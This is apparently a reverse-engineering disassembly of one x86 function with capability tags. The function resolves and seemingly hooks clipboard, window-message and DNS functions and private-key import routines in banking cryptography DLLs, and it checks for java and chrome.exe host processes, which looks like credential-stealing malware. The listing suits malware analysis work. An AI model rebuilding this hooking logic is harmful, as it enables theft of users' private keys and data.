Function at 0x1000a610
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0x10002080
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, 0x1001fb90
push 0x1001fb60
mov dword [0x1001fb94], eax
mov dword [0x1001fb90], eax
call edi
push 0x1001fb78
call edi
push 0x1000e240
push 1
call esi
mov dword [0x1001fefc], eax
test eax, eax
je 0x1000a69e
push 0
push 0
push 0
push 0x1000e480
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000a694
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1001ff00], 1
push 0x1001f90c
call edi
call fcn.10008160
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.user32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a6de
push str.GetClipboardData
push eax
call esi
test eax, eax
je 0x1000a6de
push 0x1001fcb0
push 0x10008ca0
mov ebx, eax
call fcn.1000e2a0
push str.user32.dll
call edi
mov edi, eax
test edi, edi
je 0x1000a742
push 0x1001c2f0
push edi
call esi
test eax, eax
je 0x1000a742
push 0x1001fdc0
push 0x100099c0
mov ebx, eax
call fcn.1000e2a0
push str.GetMessageA
push edi
call esi
test eax, eax
je 0x1000a742
push 0x1001fdc4
push 0x10009a90
mov ebx, eax
call fcn.1000e2a0
push str.GetMessageW
push edi
call esi
test eax, eax
je 0x1000a742
push 0x1001fdc8
push 0x10009b70
mov ebx, eax
call fcn.1000e2a0
call fcn.1000d730
call fcn.100016c0
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.java
lea ecx, [ebp - 0x108]
push ecx
call edi
test eax, eax
je 0x1000a77a
push str..exe
lea edx, [ebp - 0x108]
push edx
call edi
test eax, eax
jne 0x1000a8c1
push str.chrome.exe
lea eax, [ebp - 0x108]
push eax
call edi
xor ecx, ecx
cmp ecx, eax
push ecx
sbb eax, eax
push ecx
neg eax
push str.ws2_32.dll
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
test edi, edi
je 0x1000a7fd
push str.getaddrinfo
push edi
call esi
test eax, eax
je 0x1000a7c3
push 0x1001f884
push 0x10003510
mov ebx, eax
call fcn.1000e2a0
push str.gethostbyname
push edi
call esi
test eax, eax
je 0x1000a7e0
push 0x1001f87c
push 0x10003640
mov ebx, eax
call fcn.1000e2a0
push str.inet_addr
push edi
call esi
test eax, eax
je 0x1000a7fd
push 0x1001f878
push 0x10003770
mov ebx, eax
call fcn.1000e2a0
cmp dword [ebp - 4], 0
jne 0x1000a808
call fcn.10003e90
push 0x1001f8f4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, 0x1001f8ec
mov dword [0x1001f8f0], eax
mov dword [0x1001f8ec], eax
call fcn.10007a10
call fcn.10007240
call fcn.10006110
push 0
push 0
push str.sks2xyz.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x1000a861
push str.vb_pfx_import
push eax
call esi
test eax, eax
je 0x1000a861
push 0x10020138
push 0x100122b0
mov ebx, eax
call fcn.1000e2a0
push 0
push 0
push str.FilialRCon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x1000a891
push str.RCN_R50Buffer
push eax
call esi
test eax, eax
je 0x1000a891
push 0x10020158
push 0x10014260
mov ebx, eax
call fcn.1000e2a0
push 0
push 0
push str.mespro.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x1000a8c1
push str.AddPSEPrivateKeyEx
push eax
call esi
test eax, eax
je 0x1000a8c1
push 0x1002016c
push 0x10015830
mov ebx, eax
call fcn.1000e2a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret